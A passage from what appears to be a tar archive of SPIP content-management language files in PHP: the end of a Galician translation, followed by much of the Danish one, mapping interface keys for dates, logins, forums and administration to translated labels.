nos títulos e nas descricións dos artigos.<br />-
Un segundo método, moito máis potente, permítelle
a SPIP buscar, a maiores, no texto dos lugares afiliados . Se se referencia un web,
daquela SPIP buscará tamén alá, no propio texto do web referido.',
'texte_utilisation_moteur_syndiques_2' => 'Este método obriga a SPIP a visitar
regularmente os webs referidos, o cal pode provocar unha lixeira perda de
velocidade no seu propio web.',
'texte_vide' => 'baleiro',
'texte_vider_cache' => 'Baleirar a memoria caché',
'titre_admin_effacer' => 'Mantemento técnico',
'titre_admin_tech' => 'Mantemento técnico',
'titre_admin_vider' => 'Mantemento técnico',
'titre_ajouter_un_auteur' => 'Engadir un autor',
'titre_ajouter_un_mot' => 'Engadir unha palabra-clave',
'titre_cadre_afficher_article' => 'Mostrar os artigos',
'titre_cadre_afficher_traductions' => 'Fixar o estado das traducións para as seguintes linguas :',
'titre_cadre_ajouter_auteur' => 'ENGADIR UN/UNHA AUTOR/A:',
'titre_cadre_interieur_rubrique' => 'Dentro do tema',
'titre_cadre_numero_auteur' => 'AUTOR/A NÚMERO',
'titre_cadre_numero_objet' => '@objet@ NUMÉRO :',
'titre_cadre_signature_obligatoire' => '<b>Sinatura</b> [Obrigado]<br />',
'titre_config_contenu_notifications' => 'Notificacións',
'titre_config_contenu_prive' => 'No espazo privado',
'titre_config_contenu_public' => 'No web público',
'titre_config_fonctions' => 'Configuración do web',
'titre_config_langage' => 'Configurar o idioma',
'titre_configuration' => 'Configuración do web',
'titre_configurer_preferences' => 'Configurar as súas preferencias',
'titre_conflit_edition' => 'Conflito tras a edición',
'titre_connexion_ldap' => 'Opcións: <b>A súa conexión LDAP</b>',
'titre_groupe_mots' => 'GRUPO DE PALABRAS:',
'titre_identite_site' => 'Identidade do sitio',
'titre_langue_article' => 'LINGUA DO ARTIGO', # MODIF
'titre_langue_rubrique' => 'LINGUA DA SECCIÓN', # MODIF
'titre_langue_trad_article' => 'LINGUA E TRADUCIÓNS DO ARTIGO',
'titre_les_articles' => 'OS ARTIGOS',
'titre_messagerie_agenda' => 'Mensaxería e axenda',
'titre_naviguer_dans_le_site' => 'Navegar no web...',
'titre_nouvelle_rubrique' => 'Novo tema',
'titre_numero_rubrique' => 'TEMA NÚMERO:',
'titre_page_admin_effacer' => 'Mantemento técnico: borrar a base',
'titre_page_articles_edit' => 'Modificar: @titre@',
'titre_page_articles_page' => 'Os artigos',
'titre_page_articles_tous' => 'Todo o web',
'titre_page_auteurs' => 'Visitantes',
'titre_page_calendrier' => 'Calendario @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Configuración do web',
'titre_page_config_fonctions' => 'Configuración do web',
'titre_page_configuration' => 'Configuración do web',
'titre_page_controle_petition' => 'Seguimento das peticións',
'titre_page_delete_all' => 'Supresión total e irreversible',
'titre_page_documents_liste' => 'Os documentos dos temas',
'titre_page_index' => 'O teu espazo privado',
'titre_page_message_edit' => 'Redactar unha mensaxe',
'titre_page_messagerie' => 'A túa mensaxería',
'titre_page_recherche' => 'Resultados da procura de @recherche@',
'titre_page_statistiques_referers' => 'Estatísticas (ligazóns entrantes)',
'titre_page_statistiques_signatures_jour' => 'Número de sinaturas por día',
'titre_page_statistiques_signatures_mois' => 'Número de sinaturas por mes',
'titre_page_upgrade' => 'Posta ao día de SPIP',
'titre_publication_articles_post_dates' => 'Publicación dos artigos con data posterior',
'titre_referencer_site' => 'Referir o web:',
'titre_rendez_vous' => 'CITA:',
'titre_reparation' => 'Reparación',
'titre_suivi_petition' => 'Seguimento das peticións',
'tls_ldap' => 'Capa de seguridade de transporte (Transport Layer Security) :',
'trad_article_inexistant' => 'Non hai artigo que leve este número.',
'trad_article_traduction' => 'Todas as versións deste artigo :',
'trad_deja_traduit' => 'Erro: é imposible religar este artigo co número solicitado.',
'trad_delier' => 'Non ligar a estas traducións',
'trad_lier' => 'Este artigo é unha tradución do artigo número :',
'trad_new' => 'Escribir unha nova tradución',
// U
'upload_info_mode_document' => 'Poñer esta imaxe no portafolio',
'upload_info_mode_image' => 'Retirar esta imaxe do portafolio',
'utf8_convert_attendez' => 'Agarde un pouco de tempo e recargue esta páxina.',
'utf8_convert_avertissement' => 'Vai converter o contido da súa base de datos (artigos, breves, etc) do xogo de carácteres <b>@orig@</b> ao xogo de carácteres <b>@charset@</b>.',
'utf8_convert_backup' => 'Non esqueza antes de nada de facer unha salvagarda completa do seu web. Débese tamén comprobar que os esqueletos e ficheiros de lingua sexan compatibles con @charset@.',
'utf8_convert_erreur_deja' => 'O seu web xa está en carácter @charset@, é inútil convertelo...',
'utf8_convert_erreur_orig' => 'Erro : o xogo de carácteres @charset@ non está soportado.',
'utf8_convert_termine' => 'Rematou!',
'utf8_convert_timeout' => '<b>Importante :</b> para o caso de que se produza <i>timeout</i> do servidor, recargue a páxina até que indique « terminé ».',
'utf8_convert_verifier' => 'Agora debe baleirar a memoria temporal (caché), e comprobar que todo vai ben nas páxinas públicas do web. No caso de que haxa problemas graves, unha copia de salvagarda dos seus datos foi realizada (en formato SQL) no cartafol @rep@.',
'utf8_convertir_votre_site' => 'Converter o seu web a utf-8',
// V
'version' => 'Versión :'
);
?>
spip_da.php 0000666 00000074277 15252547432 0006732 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=da
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-da',
'0_langue' => 'dansk [da]',
'0_liste' => 'spip-da@rezo.net',
'0_mainteneur' => 'abc@dk2net.dk',
// A
'admin_modifier_article' => 'Rediger artikel',
'admin_modifier_auteur' => 'Ret forfatter',
'admin_modifier_breve' => 'Rediger nyhed',
'admin_modifier_mot' => 'Ret nøgleord',
'admin_modifier_rubrique' => 'Rediger afsnit',
'admin_recalculer' => 'Opdater side',
'afficher_trad' => 'vis oversættelser',
'alerte_maj_impossible' => '<b>Advarsel!</b> Opdatering af SQL databasen til version @version@Žmislykkedes, måske på grund af et problem med rettigheder i forhold til databasen. Kontakt venligst din webhotel.', # MODIF
'annuler' => 'Annuler',
'articles_recents' => 'De seneste artikler',
'avis_archive_incorrect' => 'arkivfilen er ikke en gyldig SPIP fil',
'avis_archive_invalide' => 'arkivfilen er ikke gyldig',
'avis_attention' => 'Advarsel!',
'avis_champ_incorrect_type_objet' => 'Ugyldigt feltnavn @name@ for et objekt af typen @type@',
'avis_colonne_inexistante' => 'Kolonnen @col@ findes ikke',
'avis_erreur' => 'Fejl: se nedenfor’;',
'avis_erreur_connexion' => 'Ingen forbindelse',
'avis_erreur_cookie' => 'cookie-problem', # MODIF
'avis_erreur_fonction_contexte' => 'Programfejl. Denne funktion burde ikke kaldes i denne sammenhæng.', # MODIF
'avis_erreur_mysql' => 'SQL fejl', # MODIF
'avis_erreur_sauvegarde' => 'Fejl i sikkerhedskopi (@type@ @id_objet@)!',
// B
'barre_a_accent_grave' => 'Indsæt et stort A med accent grave',
'barre_aide' => 'Brug typografiske genveje til at forfine layoutet',
'barre_e_accent_aigu' => 'Indsæt et stort E med accent',
'barre_eo' => 'Indsæt oe ligatur',
'barre_eo_maj' => 'Indsæt stort OE ligatur',
'barre_euro' => 'Indsæt et €-symbol',
'barre_gras' => 'Skriv med {{fed type}}',
'barre_guillemets' => 'Sæt i "anførselstegn" ',
'barre_guillemets_simples' => 'Sæt i ’anførselstegn’ ',
'barre_intertitre' => 'Gør til {{{underoverskrift}}}',
'barre_italic' => 'Skriv med {kursiv}',
'barre_lien' => 'Lav til et [hyperlink->http://...]',
'barre_lien_input' => 'Angiv målet for dit hyperlink (du kan angive en internetadresse på formen http://www.websted.dk eller bare nummeret på en artikel på dette websted).',
'barre_note' => 'Gør til en [[Fodnote]]',
'barre_quote' => '<quote>Citer en besked</quote>',
'bouton_changer' => 'Opdater',
'bouton_chercher' => 'Søg',
'bouton_choisir' => 'Vælg',
'bouton_download' => 'Download', # MODIF
'bouton_enregistrer' => 'Gem',
'bouton_radio_desactiver_messagerie_interne' => 'Slå intern meddelelsesfunktion fra',
'bouton_radio_envoi_annonces' => 'Send redaktionelle nyheder',
'bouton_radio_non_envoi_annonces' => 'Send ingen nyheder',
'bouton_radio_non_envoi_liste_nouveautes' => 'Send ikke oversigt over seneste nyheder',
'bouton_recharger_page' => 'genindlæs denne side',
'bouton_telecharger' => 'Hent',
'bouton_upload' => 'Hent', # MODIF
'bouton_valider' => 'Godkend',
// C
'cal_apresmidi' => 'eftermiddag(p.m.)',
'cal_jour_entier' => 'hele dagen',
'cal_matin' => 'morgen (a.m.)',
'cal_par_jour' => 'daglig kalender',
'cal_par_mois' => 'månedlig kalender',
'cal_par_semaine' => 'ugentlig kalender',
'choix_couleur_interface' => 'farve',
'colonne' => 'Kolonne',
'confirm_changer_statut' => 'Bekræftelse nødvendig: Du har bedt om at ændre denne artikels status. Vil du fortsætte? ',
// D
'date_aujourdhui' => 'i dag',
'date_avant_jc' => 'f.v.t.',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'i morgen',
'date_fmt_heures_minutes' => '@h@:@m@',
'date_fmt_jour_heure' => '@jour@ kl. @heure@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour_date' => '@nomjour@ den @date@',
'date_heures' => 'timer',
'date_hier' => 'i går',
'date_jnum1' => '1',
'date_jnum10' => '10.',
'date_jnum11' => '11.',
'date_jnum12' => '12.',
'date_jnum13' => '13.',
'date_jnum14' => '14.',
'date_jnum15' => '15.',
'date_jnum16' => '16.',
'date_jnum17' => '17.',
'date_jnum18' => '18.',
'date_jnum19' => '19.',
'date_jnum2' => '2.',
'date_jnum20' => '20.',
'date_jnum21' => '21.',
'date_jnum22' => '22.',
'date_jnum23' => '23.',
'date_jnum24' => '24.',
'date_jnum25' => '25.',
'date_jnum26' => '26.',
'date_jnum27' => '27.',
'date_jnum28' => '28.',
'date_jnum29' => '29.',
'date_jnum3' => '3.',
'date_jnum30' => '30.',
'date_jnum31' => '31.',
'date_jnum4' => '4.',
'date_jnum5' => '5.',
'date_jnum6' => '6.',
'date_jnum7' => '7.',
'date_jnum8' => '8.',
'date_jnum9' => '9.',
'date_jour_1' => 'søndag',
'date_jour_1_abbr' => 'Søn.',
'date_jour_2' => 'mandag',
'date_jour_2_abbr' => 'Man.',
'date_jour_3' => 'tirsdag',
'date_jour_3_abbr' => 'Tir.',
'date_jour_3_initiale' => 'T.',
'date_jour_4' => 'onsdag',
'date_jour_4_abbr' => 'Ons.',
'date_jour_4_initiale' => 'O.',
'date_jour_5' => 'torsdag',
'date_jour_5_abbr' => 'Tor.',
'date_jour_5_initiale' => 'T.',
'date_jour_6' => 'fredag',
'date_jour_6_abbr' => 'Fre.',
'date_jour_6_initiale' => 'F.',
'date_jour_7' => 'lørdag',
'date_jour_7_abbr' => 'Lør.',
'date_jour_7_initiale' => 'L.',
'date_jours' => 'dage',
'date_minutes' => 'minutter',
'date_mois' => 'måneder',
'date_mois_1' => 'januar',
'date_mois_10' => 'oktober',
'date_mois_11' => 'november',
'date_mois_12' => 'december',
'date_mois_2' => 'februar',
'date_mois_3' => 'marts',
'date_mois_4' => 'april',
'date_mois_5' => 'maj',
'date_mois_6' => 'juni',
'date_mois_7' => 'juli',
'date_mois_8' => 'august',
'date_mois_9' => 'september',
'date_saison_1' => 'vinter',
'date_saison_2' => 'forår',
'date_saison_3' => 'sommer',
'date_saison_4' => 'efterår',
'date_secondes' => 'sekunder',
'date_semaines' => 'uger',
'date_un_mois' => 'måned',
'date_une_heure' => 'time',
'date_une_minute' => 'minut',
'date_une_seconde' => 'sekund',
'date_une_semaine' => 'uge',
'dirs_commencer' => ' for at kunne begynde installationen',
'dirs_preliminaire' => 'Forberedelser: <b>Opsætning af adgangsrettigheder</b>',
'dirs_probleme_droits' => 'Problem med adgangsrettigheder', # MODIF
'dirs_repertoires_absents' => '<b>Følgende kataloger blev ikke fundet: <ul>@bad_dirs@.</ul> </b>
<p>Det skyldes sandsynligvis forkert brug af store og små bogstaver.
Kontroller, at katalognavnene har samme store og små bogstaver som vist ovenfor.
Hvis ikke, små brug et FTP-program til at omdøbe dem, for at rette fejlen.
<p>Derefter kan du', # MODIF
'dirs_repertoires_suivants' => '<b>Følgende kataloger mangler skriveadgang: <ul>@bad_dirs@.</ul> </b>
<p>For at ændre dette skal du benytte din FTP-klient til at sætte adgangsrettigheder
for hvert katalog. Fremgangsmåden er vist i brugerhåndbogen.
<p>Når du har fuldført dette, kan du ', # MODIF
'double_occurrence' => 'Double occurrence', # MODIF
// E
'erreur' => 'Fejl',
'erreur_texte' => 'fejl',
// F
'form_auteur_confirmation' => 'Bekræft venligst din e-post adresse',
'form_auteur_email_modifie' => 'Din e-post adresse er blevet ændret',
'form_deja_inscrit' => 'Du har allerede tilmeldt dig.',
'form_email_non_valide' => 'Din e-mail-adresse er ikke gyldig.',
'form_forum_access_refuse' => 'Du har ikke mere adgang til dette websted.',
'form_forum_bonjour' => 'Goddag,', # MODIF
'form_forum_email_deja_enregistre' => 'Denne e-mail-adresse er allerede tilmeldt. Du kan derfor benytte din sædvanlige adgangskode.',
'form_forum_identifiant_mail' => 'Dine nye adgangsoplysninger er netop sendt til dig via e-mail.',
'form_forum_identifiants' => 'Personlige adgangsoplysninger',
'form_forum_indiquer_nom_email' => 'Vær venlig at indtaste dit navn og din e-mail-adresse her. Du vil kort tid efter modtage dine personlige adgangsoplysninger via e-mail.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(dette er en automatisk udkrevet meddelelse)',
'form_forum_pass' => 'adgangskode:',
'form_forum_probleme_mail' => 'E-mail-problem: adgangsoplysninger kunne ikke sendes.',
'form_forum_voici1' => 'Her er dine adgangsoplysninger for at kunne deltage i forummer på webstedet "@nom_site_spip@" (@adresse_site@):', # MODIF
'form_forum_voici2' => 'Her er dine adgangsoplysninger for at kunne indsende artikler til webstedet "@nom_site_spip@" (@adresse_login@):', # MODIF
'form_indiquer_email' => 'Indtast venligst din e-mail-adresse.',
'form_indiquer_nom' => 'Indtast venligst dit navn.',
'form_indiquer_nom_site' => 'Indtast venligst dit websteds navn.',
'form_pet_deja_enregistre' => 'Webstedet er allerede registreret',
'form_pet_signature_pasprise' => 'Din underskrift er ikke godkendt.',
'form_prop_confirmer_envoi' => 'Bekræft afsendelse',
'form_prop_description' => 'Beskrivelse/kommentar',
'form_prop_enregistre' => 'Din forslag er modtaget, det vil blive offentliggjort, når det er godkendt af webstedets administratorer.',
'form_prop_envoyer' => 'Send en meddelelse',
'form_prop_indiquer_email' => 'Indtast en gyldig e-mail-adresse',
'form_prop_indiquer_nom_site' => 'Indtast webstedets navn.',
'form_prop_indiquer_sujet' => 'Angiv et emne',
'form_prop_message_envoye' => 'Meddelelse sendt',
'form_prop_non_enregistre' => 'Din forslag er ikke modtaget.',
'form_prop_sujet' => 'Emne',
'form_prop_url_site' => 'Webstedets URL', # MODIF
'forum_non_inscrit' => 'Enten er du ikke tilmeldt, eller adresse eller adgangskode er forkert.',
'forum_par_auteur' => 'af @auteur@',
'forum_titre_erreur' => 'Fejl...',
// I
'ical_texte_rss_articles' => 'Filen "backend" for artiklerne på dette websted findes på følgende adresse: ',
'ical_texte_rss_articles2' => 'Du kan ligeledes finde frem til datakilder for artiklerne, der befinder sig i hver af wedstedets afsnit. ',
'ical_texte_rss_breves' => 'Der eksisterer envidere en fil, som indeholder webstedets nyheder. Ved at præcisere et afsnits nummer får du udelukkende nyhederne fra dette afsnit. ',
'icone_a_suivre' => 'Opgaver',
'icone_admin_site' => 'Opsætning',
'icone_agenda' => 'Dagbog',
'icone_aide_ligne' => 'Online hjælp',
'icone_articles' => 'Artikler',
'icone_auteurs' => 'Forfattere',
'icone_brouteur' => 'Hurtig browsing',
'icone_configuration_site' => 'Konfiguration',
'icone_configurer_site' => 'Konfigurer dit websted',
'icone_creer_nouvel_auteur' => 'Opret ny forfatter',
'icone_creer_rubrique' => 'Opret afsnit',
'icone_creer_sous_rubrique' => 'Opret underafsnit',
'icone_deconnecter' => 'Log ud',
'icone_discussions' => 'Diskussioner',
'icone_doc_rubrique' => 'Dokumenter i afsnit',
'icone_ecrire_article' => 'Skriv ny artikel',
'icone_edition_site' => 'Rediger websted',
'icone_gestion_langues' => 'Sprogadministration',
'icone_informations_personnelles' => 'Personlig information',
'icone_interface_complet' => 'Komplet brugergrænseflade',
'icone_interface_simple' => 'Forenklet brugergrænseflade',
'icone_maintenance_site' => 'Vedligeholdelse',
'icone_messagerie_personnelle' => 'Personlige meddelelser',
'icone_repartition_debut' => 'Vis fordeling siden start',
'icone_rubriques' => 'Afsnit',
'icone_sauver_site' => 'Websted backup',
'icone_site_entier' => 'Hele webstedet',
'icone_sites_references' => 'Links',
'icone_statistiques' => 'Webstedsstatistik',
'icone_suivi_activite' => 'Opfølgning på webstedets aktiviteter',
'icone_suivi_actualite' => 'Webstedets udvikling',
'icone_suivi_pettions' => 'Administrer appeller',
'icone_supprimer_document' => 'Slet dette dokument',
'icone_supprimer_image' => 'Slet dette billede',
'icone_tous_articles' => 'Alle dine artikler',
'icone_tous_auteur' => 'Alle forfattere',
'icone_visiter_site' => 'Besøg websted', # MODIF
'icone_voir_en_ligne' => 'Vis online',
'impossible' => 'umuligt',
'info_a_suivre' => 'OPGAVER»',
'info_acces_interdit' => 'Adgang forbudt',
'info_acces_refuse' => 'Ingen adgang',
'info_action' => 'Handling: @action@',
'info_administrer_rubriques' => 'Du kan administrere dette afsnit og dets underafsnit',
'info_adresse_non_indiquee' => 'Du har ikke angivet en adresse at teste!',
'info_aide' => 'HJÆLP:',
'info_ajouter_mot' => 'Tilføj nøgleord',
'info_annonce' => 'ANNONCERING',
'info_annonces_generales' => 'Generelle annonceringer:',
'info_article_propose' => 'Artikel indsendt',
'info_article_publie' => 'Artikel offentliggjort',
'info_article_redaction' => 'Artikel på vej',
'info_article_refuse' => 'Artikel afvist',
'info_article_supprime' => 'Artikel slettet',
'info_articles' => 'Artikler',
'info_articles_a_valider' => 'Artikler til godkendelse',
'info_articles_proposes' => 'Indsendte artikler',
'info_auteurs_nombre' => 'forfatter(e):',
'info_authentification_ftp' => 'Adgangskontrol (ved FTP).',
'info_breves_2' => 'nyheder',
'info_connexion_refusee' => 'Opkobling afvist',
'info_contact_developpeur' => 'Kontakt en udvikler.',
'info_contenance' => 'Dette websted indeholder:',
'info_contribution' => 'indlæg i fora', # MODIF
'info_copyright' => '@spip@ er fri software der distribueres @lien_gpl@.',
'info_copyright_doc' => 'For yderligere oplysninger besøg webstedet <a href="@spipnet@">http://www.spip.net/da</a>.', # MODIF
'info_copyright_gpl' => 'under GPL licens',
'info_cours_edition' => 'Artikler undervejs',
'info_creer_repertoire' => 'Opret en fil eller et katalog med navnet:',
'info_creer_repertoire_2' => 'i underkataloget <b>@repertoire@</b>, og derefter', # MODIF
'info_deplier' => 'Luk op',
'info_descriptif_nombre' => 'beskrivelse(r):',
'info_description' => 'Beskrivelse:',
'info_description_2' => 'Beskrivelse:',
'info_dimension' => 'Størrelse:',
'info_ecire_message_prive' => 'Skriv en privat meddelelse',
'info_email_invalide' => 'Ugyldig e-mail-adresse.',
'info_en_cours_validation' => 'Dine artikler undervejs',
'info_en_ligne' => 'Online nu:',
'info_envoyer_message_prive' => 'Send en privat meddelelse til forfatteren',
'info_erreur_requete' => 'Fejl i forespørgsel:',
'info_erreur_squelette2' => 'Ingen template parat <b>@fichier@</b>...',
'info_erreur_systeme' => 'System fejl (errno @errsys@)',
'info_erreur_systeme2' => 'Harddisken er måske fyldt eller databasen er skadet.<br />
<span style="color:red;">prøv <a href=\'@script@\'>at reparere databasen</a>, eller kontakt din internetudbyder.</span>', # MODIF
'info_fini' => 'Det er overstået!',
'info_format_image' => 'Billedformater til brug ved dannelse af piktogrammer: @gd_formats@.',
'info_format_non_defini' => 'ukendt format',
'info_grand_ecran' => 'Stort skærmbillede',
'info_image_aide' => 'HJÆLP',
'info_impossible_lire_page' => '<b>Fejl!</b> Siden kan ikke læses <tt><html>@test_proxy@</html></tt> gennem proxy¥en <tt>', # MODIF
'info_installation_systeme_publication' => 'Installation af publiceringssystemet ...',
'info_installer_documents' => 'Du kan automatisk installere alle dokumenter, som findes i kataloget @upload@.', # MODIF
'info_installer_ftp' => 'Som administrator kan du via FTP indlæse filer i kataloget @upload@, så du senere kan hente dem der.', # MODIF
'info_installer_images' => 'Du kan indlæse filer i formaterne JPEG, GIF og PNG.',
'info_installer_images_dossier' => 'Indlæs billeder i kataloget @upload@ for at kunne hente dem her.', # MODIF
'info_interface_complete' => 'Fuld brugergrænseflade',
'info_interface_simple' => 'Forenklet brugergrænseflade',
'info_joindre_document_article' => 'Du kan vedhæfte din artikel dokumenter af typerne',
'info_joindre_document_rubrique' => 'Du kan til dette afsnit tilføje dokumenter af typerne',
'info_joindre_documents_article' => 'Du kan vedhæfte din artikel dokumenter af typerne:',
'info_l_article' => 'artiklen',
'info_la_breve' => 'nyheden',
'info_la_rubrique' => 'afsnittet',
'info_langue_principale' => 'Webstedets hovedsprog',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ pixels',
'info_les_auteurs_1' => 'af @les_auteurs@',
'info_mail_fournisseur' => 'ditnavn@udbyder.dk',
'info_message_2' => 'BESKED',
'info_message_supprime' => 'BESLED SLETTET',
'info_mise_en_ligne' => 'Dato for offentliggørelse online:',
'info_modification_parametres_securite' => 'ændring af sikkerhedsopsætning',
'info_mois_courant' => 'I løbet af måneden:',
'info_mot_cle_ajoute' => 'Følgende nøgleord er tilføjet til',
'info_multi_herit' => 'Standardsprog',
'info_multi_langues_soulignees' => 'De <u>inderstregede sprog</u> rummer oversættelse af alle tekster i brugergrænsefladen. Hvis du vælger disse sprog, vil mange elementer på det offentlige websted (datoer, forularer) automatisk blive oversat. Hvad angår de ikke-understregede sprog, vil disse elementer fremtræde på webstedets hovedsprog.', # MODIF
'info_multilinguisme' => 'Flersprogethed',
'info_nom_non_utilisateurs_connectes' => 'Dit navn findes ikke på listen over tilsluttede brugere.',
'info_nom_utilisateurs_connectes' => 'Dit navn figurerer på listen over online brugere.',
'info_nombre_en_ligne' => 'Online nu:',
'info_non_resultat' => 'Ingen resultater ved søgning efter "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Du anvender ikke webstedets interne meddelelsessystem.',
'info_nouveau_message' => 'DU HAR EN NY MEDDELELSE',
'info_nouveaux_messages' => 'DU HAR @total_messages@ NYE MEDDELELSER',
'info_pense_bete' => 'HUSKESEDDEL',
'info_petit_ecran' => 'Lille skærmbillede',
'info_pixels' => 'pixels',
'info_plusieurs_mots_trouves' => 'Der blev fundet flere nøgleord ved søgning efter "@cherche_mot@":',
'info_portfolio_automatique' => 'Automatisk album:',
'info_premier_resultat' => '[@debut_limit@ første resultater af @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ første resultater af @total@]',
'info_propose_1' => '[@nom_site_spip@] Indlæg: @titre@',
'info_propose_2' => 'Artikel indsendt
-----------------',
'info_propose_3' => 'Artiklen "@titre@" er sendt til offentliggørelse.',
'info_propose_4' => 'Du inviteres til at anmelde den over for de øvrige forfattere',
'info_propose_5' => 'i det forum den tilhører. Den findes på adressen:',
'info_publie_01' => 'Artiklen "@titre@" er vurderet af @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] OFFENTLIGGØR: @titre@',
'info_publie_2' => 'Artikel offentliggjort
-----------------',
'info_rechercher' => 'Søgning',
'info_rechercher_02' => 'Søgning:',
'info_remplacer_vignette' => 'Erstatte standardpiktogrammet med et eget ikon:',
'info_sans_titre_2' => 'uden overskrift',
'info_selectionner_fichier' => 'Du kan vælge en fil fra mappen @upload@', # MODIF
'info_selectionner_fichier_2' => 'Vælg en fil:',
'info_supprimer_vignette' => 'slet piktogram',
'info_symbole_bleu' => '<b>Blåt</b> symbol henviser til et <b>memo</b>: dvs. en meddelelse til privat brug.', # MODIF
'info_symbole_jaune' => '<b>Gult</b> symbol henviser til en <b>annoncering til alle redaktører</b>: den kan redigeres af alle redaktører og er synlig for alle redaktører.', # MODIF
'info_symbole_vert' => '<b>Grønt</b> symbol henviser til <b>meddelelser udvekslet med andre brugere</b> på webstedet.', # MODIF
'info_telecharger_nouveau_logo' => 'Hent nyt logo:',
'info_telecharger_ordinateur' => 'Hent fra din computer:',
'info_tous_resultats_enregistres' => '[alle resultater er registreret]',
'info_tout_afficher' => 'Vis alle',
'info_travaux_texte' => 'Dette websted er endnu ikke færdigkonfigureret. Kom tilbage senere...',
'info_travaux_titre' => 'Webstedet er under konstruktion',
'info_trop_resultat' => 'For mange resultater til "@cherche_mot@"; vær venlig af afgrænse søgningen yderligere.',
'info_utilisation_messagerie_interne' => 'Du benytter webstedets interne meddelelsessystem.',
'info_valider_lien' => 'kontroller dette link',
'info_verifier_image' => ', kontroller venligst at alle billeder er overført korrekt.',
'info_vignette_defaut' => 'Standardpiktogram',
'info_vignette_personnalisee' => 'Tilpasset piktogram',
'info_visite' => 'besøg:',
'info_vos_rendez_vous' => 'Dine fremtidige aftaler',
'infos_vos_pense_bete' => 'Dine memoer', # MODIF
// L
'lien_afficher_icones_seuls' => 'Vis kun piktogrammer',
'lien_afficher_texte_icones' => 'Vis piktogrammer og tekst',
'lien_afficher_texte_seul' => 'Vis kun tekst',
'lien_liberer' => 'frigiv',
'lien_liberer_tous' => 'frigiv disse artikler', # MODIF
'lien_nouvea_pense_bete' => 'NYT MEMO',
'lien_nouveau_message' => 'NY MEDDELELSE',
'lien_nouvelle_annonce' => 'NY ANNONCERING',
'lien_petitions' => 'APPELLER',
'lien_popularite' => 'popularitet: @popularite@%',
'lien_racine_site' => 'TOP',
'lien_reessayer' => 'forsøg igen',
'lien_repondre_message' => 'Kommenter denne meddelelse',
'lien_supprimer' => 'slet',
'lien_tout_afficher' => 'Vis alle',
'lien_visite_site' => 'besøg dette websted',
'lien_visites' => '@visites@ besøgende',
'lien_voir_auteur' => 'Oplysninger om forfatter',
'login_acces_prive' => 'adgang til det private område',
'login_autre_identifiant' => 'login med en anden brugeridentifikation',
'login_cookie_accepte' => 'Indstil din browser til at acceptere cookier (i hvert fald fra dette websted).',
'login_cookie_oblige' => 'For at identificere dig selv sikkert, skal din browser acceptere cookier.',
'login_deconnexion_ok' => 'Forbindelse afbrudt.',
'login_erreur_pass' => 'Forkert adgangskode.',
'login_espace_prive' => 'privat område',
'login_identifiant_inconnu' => 'Brugeridentifikationen "@login@" kendes ikke.',
'login_login' => 'Login:',
'login_login2' => 'Login (brugeridentifikation til dette websted):', # MODIF
'login_login_pass_incorrect' => '(Forkert adgangskode eller ).',
'login_motpasseoublie' => 'glemt adgangskode?',
'login_non_securise' => 'Advarsel, denne formular er ikke sikret.
Hvis du ikke vil risikere at din adgangskode bliver opsnappet på nettet, skal du aktivere
Javascript i din browser og',
'login_nouvelle_tentative' => 'Nyt forsøg',
'login_par_ici' => 'Du er tilmeldt... på denne måde...',
'login_pass2' => 'Adgangskode:',
'login_preferez_refuser' => '<b>Hvis du foretrækker at afvise cookies</b>, kan du anvende en anden opkoblingsmåde (mindre sikker):',
'login_recharger' => 'genindlæs denne side',
'login_rester_identifie' => 'Vær kendt nogle dage',
'login_retour_public' => 'Tilbage til det offentlige websted',
'login_retour_site' => 'Tilbage til den offentlige websted',
'login_retoursitepublic' => 'tilbage til den offentlige websted',
'login_sans_cookiie' => 'Identifikation uden cookie',
'login_sinscrire' => 'tilmelding',
'login_test_navigateur' => 'test af browser/nyt login',
'login_verifiez_navigateur' => '(Men kontroller, at din browser ikke har gemt adgangskoden...)',
// M
'module_fichiers_langues' => 'Sprogfiler',
// N
'navigateur_pas_redirige' => 'Hvis din browser ikke er viderestilt, klik her for at fortsætte. ',
// O
'onglet_affacer_base' => 'Slet databasen',
'onglet_auteur' => 'Forfatteren',
'onglet_contenu_site' => 'Webstedets indhold',
'onglet_evolution_visite_mod' => 'Tendens',
'onglet_fonctions_avances' => 'Avancerede funktioner',
'onglet_informations_personnelles' => 'Personlige oplysninger',
'onglet_interactivite' => 'Interaktivitet',
'onglet_messagerie' => 'Meddelelsesfunktion',
'onglet_repartition_rubrique' => 'Fordeling på afsnit',
'onglet_save_restaur_base' => 'Sikkerhedskopi/genindlæsning af databasen',
'onglet_vider_cache' => 'Tøm cachen',
// P
'pass_choix_pass' => 'Vælg ny adgangskode:',
'pass_erreur' => 'Fejl',
'pass_erreur_acces_refuse' => '<b>Fejl:</b> du har ikke mere adgang til dette websted.',
'pass_erreur_code_inconnu' => '<b>Fejl:</b> denne kode har ikke adgang til dette websted.',
'pass_erreur_non_enregistre' => '<b>Fejl:</b> adressen <tt>@email_oubli@</tt> er ikke tilmeldt dette websted.',
'pass_erreur_non_valide' => '<b>Fejl:</b> e-mail-adressen <tt>@email_oubli@</tt> er ugyldig!',
'pass_erreur_probleme_technique' => '<b>Fejl:</b> denne e-mail kunne ikke sendes af tekniske grunde.',
'pass_espace_prive_bla' => 'Den private del af dette websted er åben for besøgende efter tilmelding.
